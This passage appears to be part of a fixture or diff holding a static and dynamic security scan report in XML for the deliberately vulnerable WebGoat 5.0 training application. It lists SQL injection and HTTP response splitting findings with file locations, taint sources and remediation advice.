+        functionrelativelocation=\"53\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"71\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"176\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"112\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"248\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"59\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"295\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"68\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"139\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"340\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"85\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"258\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from earlier calls
+        to javax.servlet.ServletRequest.getParameterValues, javax.servlet.ServletRequest.getParameter,
+        java.sql.Statement.executeQuery, and java.sql.PreparedStatement.executeQuery.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile_i.java\"
+        line=\"64\" sourcefilepath=\"org/owasp/webgoat/lessons/instructor/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl.UpdateProfile_i\"
+        functionprototype=\"void changeEmployeeProfile(session.WebSession, int, int,
+        session.Employee)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"17\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable sqlStatement. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewDatabase.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/admin/\" scope=\"org.owasp.webgoat.lessons.admin.ViewDatabase\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"12\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"118\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"197\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"178\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile_BACKUP(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"166\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WsSqlInjection.java\"
+        line=\"240\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WsSqlInjection\"
+        functionprototype=\"java.sql.ResultSet getResults(java.lang.String)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"275\" module=\"dynamic_analysis\"
+        type=\"Improper Neutralization of Special Elements used in an SQL Command
+        ('SQL Injection')\" description=\"This database query contains a SQL injection
+        flaw. The function call constructs a dynamic SQL query using a variable derived
+        from user-supplied input. An attacker could exploit this flaw to execute arbitrary
+        SQL queries against the database.\r\n\r\nAvoid dynamically constructing SQL
+        queries. Instead, use parameterized prepared statements to prevent the database
+        from interpreting the contents of bind variables as part of the query. Always
+        validate user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=89)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" categoryid=\"19\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"id\"/>\n</dynamicflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"3\">\n<category categoryid=\"21\" categoryname=\"CRLF Injection\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"The acronym CRLF stands for &quot;Carriage
+        Return, Line Feed&quot; and refers to the sequence of characters used to denote
+        the end of a line of text.  CRLF injection vulnerabilities occur when data
+        enters an application from an untrusted source and is not properly validated
+        before being used.  For example, if an attacker is able to inject a CRLF into
+        a log file, he could append falsified log entries, thereby misleading administrators
+        or cover traces of the attack.  If an attacker is able to inject CRLFs into
+        an HTTP response header, he can use this ability to carry out other attacks
+        such as cache poisoning.  CRLF vulnerabilities primarily affect data integrity.
+        \ \"/>\n</desc>\n<recommendations>\n<para text=\"Apply robust input filtering
+        for all user-supplied data, using centralized data validation routines when
+        possible.  Use output filters to sanitize all output derived from user-supplied
+        input, replacing non-alphanumeric characters with their HTML entity equivalents.\"/>\n</recommendations>\n<cwe
+        cweid=\"113\" cwename=\"Improper Neutralization of CRLF Sequences in HTTP
+        Headers ('HTTP Response Splitting')\" pcirelated=\"false\">\n<description>\n<text
+        text=\"A function call contains an HTTP response splitting flaw.  Writing
+        unsanitized user-supplied input into an HTTP header allows an attacker to
+        manipulate the HTTP response rendered by the browser, leading to cache poisoning
+        and cross-site scripting attacks.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"10\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"config_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/ConfManagement/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.ConfManagement.config_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"78\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"198\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void setHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"204\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"212\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void removeHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"92\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"redirect_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/General/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.General.redirect_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"62\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"170\" module=\"WebGoat-5.0-with-jsp.war\"
